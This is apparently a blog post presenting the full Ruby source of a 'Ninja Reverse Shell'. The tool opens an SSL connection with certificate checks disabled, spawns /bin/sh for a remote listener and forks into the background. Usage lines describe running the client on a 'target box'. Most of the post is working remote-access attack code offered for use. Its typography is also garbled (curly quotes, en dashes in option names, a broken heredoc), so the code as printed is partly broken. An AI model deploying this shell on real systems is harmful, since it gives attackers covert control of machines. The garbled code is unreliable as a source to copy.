Ruby Reverse Shell
The “Ninja Reverse shell” is nothing special. It’s a small program I wrote to while I was learning Ruby’s networking APIs.
The connection is encrypted using SSL. The code does not verify the SSL certificate. This will need to be fixed to defend against man-in-the-middle attacks.
For the moment it only works in *nix systems.
require ’socket’
require ‘pty’
require ‘openssl’
require ‘getoptlong’
NINJA_SHELL_VERSION = ‘0.5‘
class GetoptLong
def to_hash
hash = {}
each { |key, val| hash[key] = val or true }
hash
end
end
$opts = GetoptLong.new(
[ ‘–help’, ’-h’, GetoptLong::NO_ARGUMENT ],
[ ‘–listen’, ’-l’, GetoptLong::NO_ARGUMENT ],
[ ‘–port’, ’-p‘, GetoptLong::REQUIRED_ARGUMENT ],
[ ‘–version’, ‘-v’, GetoptLong::NO_ARGUMENT ],
[ ‘–key-size’, ’-s’, GetoptLong::REQUIRED_ARGUMENT ]
).to_hash
def printUsage
puts <<usage>
</usage>nrs - Ninja Reverse Shell
Version #{NINJA_SHELL_VERSION} by Jason Macpherson <jason.macpherson@gmail.com>
Usage:
connect: nrs hostname port
listen: nrs -l [-p port]
options:
-h, –help You already figured out what that does.
-l, –listen Listen for incoming nrs connection, default port is
443, change with -p.
-p, –port n For -l (listen), bind to port n instead of 443.
-k, –key-size For -l (listen), RSA key size, default is 1024 bits
-v, –version Print program banner, copyright and RCS id then exit.
USAGE
exit 0
end
def printVersion
puts "Ninja Reverse Shell Version #{NINJA_SHELL_VERSION}."
exit 0
end
def generateKeyCert()
print "Generating ", $rsaKeySize, " bit RSA key"
key = OpenSSL::PKey::RSA.new($rsaKeySize){
print "."
STDOUT.flush
}
puts "Done."
cert = OpenSSL::X509::Certificate.new
cert.version = 2
cert.serial = 0
name = OpenSSL::X509::Name.new([["C","Ninja Co"],["O","Ninja Division"],["CN","Mr. Ninja"]])
cert.subject = name
cert.issuer = name
cert.not_before = Time.now
cert.not_after = Time.now + 3600
cert.public_key = key.public_key
ef = OpenSSL::X509::ExtensionFactory.new(nil, cert)
cert.extensions = [
ef.create_extension("basicConstraints", "CA:FALSE"),
ef.create_extension("subjectKeyIdentifier", "hash"),
ef.create_extension("extendedKeyUsage", "serverAuth"),
ef.create_extension("keyUsage", "keyEncipherment,dataEncipherment,digitalSignature")
]
ef.issuer_certificate = cert
cert.add_extension ef.create_extension("authorityKeyIdentifier",
"keyid:always,issuer:always")
cert.sign(key, OpenSSL::Digest::SHA1.new)
return key, cert
end
def parseArgs
printUsage if $opts[‘–help’]
printVersion if $opts[‘–version’]
$host = "localhost"
$port = 443
if($opts[‘–port’])
$port = $opts[‘–port’].to_i
end
$rsaKeySize = 1024
if($opts[‘–key-size’])
$rsaKeySize = $opts[‘–key-size’].to_i
end
$listen = $opts[‘–listen’] != nil
if (not $listen)
if(ARGV.size < 1)
printUsage
end
$host = ARGV[0]
if(ARGV[1])
$port = ARGV[1].to_i
end
end
end
def connectToShell
socket = TCPSocket.new($host, $port)
ssl_context = OpenSSL::SSL::SSLContext.new()
ssl_context.verify_mode = OpenSSL::SSL::VERIFY_NONE
sslsocket = OpenSSL::SSL::SSLSocket.new(socket, ssl_context)
sslsocket.sync_close = true
sslsocket.connect
PTY.spawn("stty -echo; /bin/sh") { |r,w,pid|
Thread.new {
while true
w.print sslsocket.getc.chr
w.flush
end
}
begin
while true
c = r.sysread(512)
break if c.nil?
sslsocket.write c
sslsocket.flush
end
ensure
sslsocket.close
break;
end
}
end
def bindShell
ssl_context = OpenSSL::SSL::SSLContext.new()
ssl_context.verify_mode = OpenSSL::SSL::VERIFY_NONE
ssl_context.key, ssl_context.cert = generateKeyCert
socket = TCPServer.new($port)
print "Listening for connection…"
$stdout.flush
sslsocket = OpenSSL::SSL::SSLServer.new(socket, ssl_context).accept
puts "nconnected."
Thread.new {
while true
$stdout.print sslsocket.getc.chr
$stdout.flush
end
}
while c = $stdin.getc.chr
sslsocket.write c
end
end
parseArgs()
if($listen)
bindShell()
else
fork {
connectToShell()
}
end
Usage:
On the listening box:
./nrs -l -p 8888
On the target box:
./nrs <listener IP> 8888